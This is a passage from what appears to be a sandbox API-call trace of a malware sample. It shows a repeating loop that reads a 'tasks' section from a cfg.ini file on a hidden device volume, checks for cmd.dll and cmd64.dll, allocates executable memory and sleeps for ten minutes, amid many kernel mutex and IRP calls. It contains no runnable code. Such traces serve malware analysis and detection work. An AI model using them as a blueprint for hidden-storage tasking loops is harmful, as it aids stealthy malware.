FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.085] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.085] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.085] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.085] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0127.085] IdePortDispatch () returned 0x103 [0127.085] KeWaitForMutexObject () returned 0x0 [0127.085] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.085] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.085] KeLeaveCriticalRegion () [0127.085] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.085] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.085] KeEnterCriticalRegion () [0127.085] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.085] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b7c000 [0127.085] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.085] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.085] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.085] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0127.085] IdePortDispatch () returned 0x103 [0127.085] KeWaitForMutexObject () returned 0x0 [0127.086] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.086] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.086] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.086] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.086] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0127.086] IdePortDispatch () returned 0x103 [0127.086] KeWaitForMutexObject () returned 0x0 [0127.086] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.086] KeLeaveCriticalRegion () [0127.086] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.086] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.086] KeEnterCriticalRegion () [0127.086] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.086] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.086] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.086] KeLeaveCriticalRegion () [0127.086] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.086] KeEnterCriticalRegion () [0127.086] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.086] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.087] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800c4f7a10, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.087] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.087] KeLeaveCriticalRegion () [0127.087] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.087] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.087] KeEnterCriticalRegion () [0127.087] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.087] ExFreePoolWithTag (P=0xfffffa80037df310, Tag=0x0) [0127.087] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.087] KeLeaveCriticalRegion () [0127.087] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.087] ReleaseMutex (hMutex=0xf0) returned 1 [0127.087] Sleep (dwMilliseconds=0x927c0) [0127.101] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0127.101] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.101] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0127.101] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.101] KeEnterCriticalRegion () [0127.101] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.101] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.101] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.101] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.101] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0127.101] IdePortDispatch () returned 0x103 [0127.101] KeWaitForMutexObject () returned 0x0 [0127.101] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.101] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.101] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.101] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.101] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.101] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8002adcd70 [0127.101] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.101] KeLeaveCriticalRegion () [0127.101] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.101] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.101] KeEnterCriticalRegion () [0127.102] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.102] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.102] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.102] KeLeaveCriticalRegion () [0127.102] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.102] KeEnterCriticalRegion () [0127.102] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.102] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.102] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.102] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.102] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0127.102] IdePortDispatch () returned 0x103 [0127.102] KeWaitForMutexObject () returned 0x0 [0127.102] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.102] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.102] KeLeaveCriticalRegion () [0127.102] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.102] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.102] KeEnterCriticalRegion () [0127.102] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.102] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b81000 [0127.102] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.102] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.102] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.102] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0127.102] IdePortDispatch () returned 0x103 [0127.102] KeWaitForMutexObject () returned 0x0 [0127.102] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.102] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.103] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.103] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.103] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0127.103] IdePortDispatch () returned 0x103 [0127.103] KeWaitForMutexObject () returned 0x0 [0127.103] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.103] KeLeaveCriticalRegion () [0127.103] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.103] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.103] KeEnterCriticalRegion () [0127.103] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.103] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.103] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.103] KeLeaveCriticalRegion () [0127.103] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.103] KeEnterCriticalRegion () [0127.103] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.103] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.103] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8002adcbd0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.103] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.103] KeLeaveCriticalRegion () [0127.103] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.104] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.104] KeEnterCriticalRegion () [0127.104] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.104] ExFreePoolWithTag (P=0xfffffa8002adcd70, Tag=0x0) [0127.104] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.104] KeLeaveCriticalRegion () [0127.104] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.104] ReleaseMutex (hMutex=0xf0) returned 1 [0127.104] Sleep (dwMilliseconds=0x927c0) [0127.118] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0127.118] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.118] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0127.118] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.118] KeEnterCriticalRegion () [0127.118] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.118] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.118] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.118] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.118] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0127.118] IdePortDispatch () returned 0x103 [0127.118] KeWaitForMutexObject () returned 0x0 [0127.118] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.118] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.118] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.118] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.118] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.118] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037da730 [0127.118] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.118] KeLeaveCriticalRegion () [0127.118] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.118] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.118] KeEnterCriticalRegion () [0127.118] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.118] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.118] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.118] KeLeaveCriticalRegion () [0127.118] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.118] KeEnterCriticalRegion () [0127.118] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.118] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.118] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.118] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.118] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0127.118] IdePortDispatch () returned 0x103 [0127.119] KeWaitForMutexObject () returned 0x0 [0127.119] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.119] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.119] KeLeaveCriticalRegion () [0127.119] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.119] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.119] KeEnterCriticalRegion () [0127.119] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.119] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b86000 [0127.119] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.119] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.119] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.119] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0127.119] IdePortDispatch () returned 0x103 [0127.119] KeWaitForMutexObject () returned 0x0 [0127.119] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.119] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.119] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.119] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.119] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0127.119] IdePortDispatch () returned 0x103 [0127.119] KeWaitForMutexObject () returned 0x0 [0127.120] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.120] KeLeaveCriticalRegion () [0127.120] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.120] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.120] KeEnterCriticalRegion () [0127.120] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.120] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.120] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.120] KeLeaveCriticalRegion () [0127.120] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.120] KeEnterCriticalRegion () [0127.120] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.120] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.120] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8002adcf20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.120] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.120] KeLeaveCriticalRegion () [0127.120] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.120] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.120] KeEnterCriticalRegion () [0127.120] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.120] ExFreePoolWithTag (P=0xfffffa80037da730, Tag=0x0) [0127.120] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.120] KeLeaveCriticalRegion () [0127.120] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.120] ReleaseMutex (hMutex=0xf0) returned 1 [0127.120] Sleep (dwMilliseconds=0x927c0) [0127.134] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0127.134] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.134] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0127.134] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.134] KeEnterCriticalRegion () [0127.134] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.134] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.134] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.134] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.134] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0127.134] IdePortDispatch () returned 0x103 [0127.134] KeWaitForMutexObject () returned 0x0 [0127.134] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.134] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.134] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.134] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.134] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.134] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8002adc810 [0127.134] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.134] KeLeaveCriticalRegion () [0127.134] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.134] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.134] KeEnterCriticalRegion () [0127.135] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.135] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.135] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.135] KeLeaveCriticalRegion () [0127.135] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.135] KeEnterCriticalRegion () [0127.135] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.135] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.135] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.135] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.135] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0127.135] IdePortDispatch () returned 0x103 [0127.135] KeWaitForMutexObject () returned 0x0 [0127.135] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.135] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.135] KeLeaveCriticalRegion () [0127.135] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.135] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.135] KeEnterCriticalRegion () [0127.135] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.135] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b8b000 [0127.135] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.135] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.135] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.135] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0127.135] IdePortDispatch () returned 0x103 [0127.135] KeWaitForMutexObject () returned 0x0 [0127.135] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.135] IoAllocateIrp (StackSize=1, ChargeQuota=0) 